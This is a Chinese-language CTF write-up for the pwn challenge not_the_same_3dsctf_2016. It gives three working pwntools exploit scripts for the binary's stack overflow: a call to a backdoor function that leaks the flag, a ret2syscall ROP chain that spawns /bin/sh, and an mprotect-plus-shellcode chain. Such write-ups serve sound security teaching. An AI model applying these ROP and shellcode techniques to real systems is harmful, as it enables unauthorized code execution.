not_the_same_3dsctf_2016

查看保护就不说了

IDA反编译发现为静态编译，不用找libc了这点节省不少功夫。打开main函数，发现栈溢出漏洞

偏移为45，这个是根据gdb的cyclic算出来的
发现后门函数get_secret，功能是把flag读取赋值给fl4g

初步思路为通过栈溢出，调用get_secret，再通过write函数读取fl4g

方法一 通过栈溢出调用后门函数

from pwn import *
from LibcSearcher import *
filename = './not_the_same_3dsctf_2016'

if len(sys.argv) > 1 and sys.argv[1] == 'remote':
    p = remote('node5.buuoj.cn' , 29232)
else:
    p = process(filename)
elf = ELF(filename)
write_addr = 0x806E270
flag_addr = 0x080ECA2D
target = 0x080489A0
exit_addr = 0x0804E660

payload = 45 * b'a'
payload += p32(target)
payload += p32(elf.symbols['write']) + p32(exit_addr)
payload += p32(1) + p32(flag_addr) + p32(42)

p.sendline(payload)
p.interactive()

我们前面分析这个是静态编译，我们可以直接ret2syscall，通过设置寄存器的值，直接获得shell

方法二 ret2syscall

from pwn import *
from LibcSearcher import *
filename = './not_the_same_3dsctf_2016'

if len(sys.argv) > 1 and sys.argv[1] == 'remote':
    p = remote('node5.buuoj.cn' , 29232)
else:
    p = process(filename)
elf = ELF(filename)
#gdb.attach(p , 'b * 0x080489EA')
#0x08048b0b : pop eax ; ret
pop_eax = 0x08048b0b
#0x0806fcc9 : pop ebx ; pop edx ; ret
pop_ebx_edx = 0x0806fcc9
#0x0806fcf1 : pop ecx ; pop ebx ; ret
pop_ecx_ebx = 0x0806fcf1
#0x0806d8a5 : int 0x80
int80_addr = 0x0806d8a5
get_addr = 0x0804F8D0
data_addr = 0x080EBAD2
target = 0x080489A0
#0x080481ad : pop ebx ; ret
pop1 = 0x080481ad 
payload = 45 * b'a'
payload += p32(get_addr) + p32(pop1) + p32(data_addr)
payload += p32(pop_ecx_ebx) + p32(0) + p32(0)
payload += p32(pop_eax) + p32(11)
payload += p32(pop_ebx_edx) + p32(data_addr) + p32(0)
payload += p32(int80_addr)
payload += p32(target)
p.sendline(payload)
p.sendline(b'/bin/sh')
p.interactive()

这个看上去有点复杂但是，耐心看下来还是很好理解的，32位getshell需要调用execv>（"/bin/sh",null,null)，寄存器eax=11，ebx="/bin/sh"，ecx=0，edx=0，然后再执行int 0x80

然后我们发现函数列表有mprotect,这个函数可以改变段的执行权限,我们可以开启最高权限,执行shellcode

方法三 mprotect配合shellcode

from pwn import *
from LibcSearcher import *
filename = './not_the_same_3dsctf_2016'

if len(sys.argv) > 1 and sys.argv[1] == 'remote':
    p = remote('node5.buuoj.cn' , 29232)
else:
    p = process(filename)
elf = ELF(filename)
context(arch = 'i386' , os = 'linux' , log_level = 'debug')
read_addr = elf.symbols['read']
mprotect_addr = 0x0806ED40
pop3_ret = 0x806fcc8
shellcode = asm(shellcraft.sh())
target = 0x80ea000
binsh_addr = 0x80ec000

payload =  0x2D * b'a'
payload += p32(mprotect_addr) + p32(pop3_ret)
payload += p32(target) + p32(0x3000) + p32(0x7)
payload += p32(read_addr) + p32(pop3_ret)
payload += p32(0) + p32(binsh_addr) + p32(len(shellcode))
payload += p32(binsh_addr)

p.sendline(payload)
p.sendline(shellcode)
p.interactive()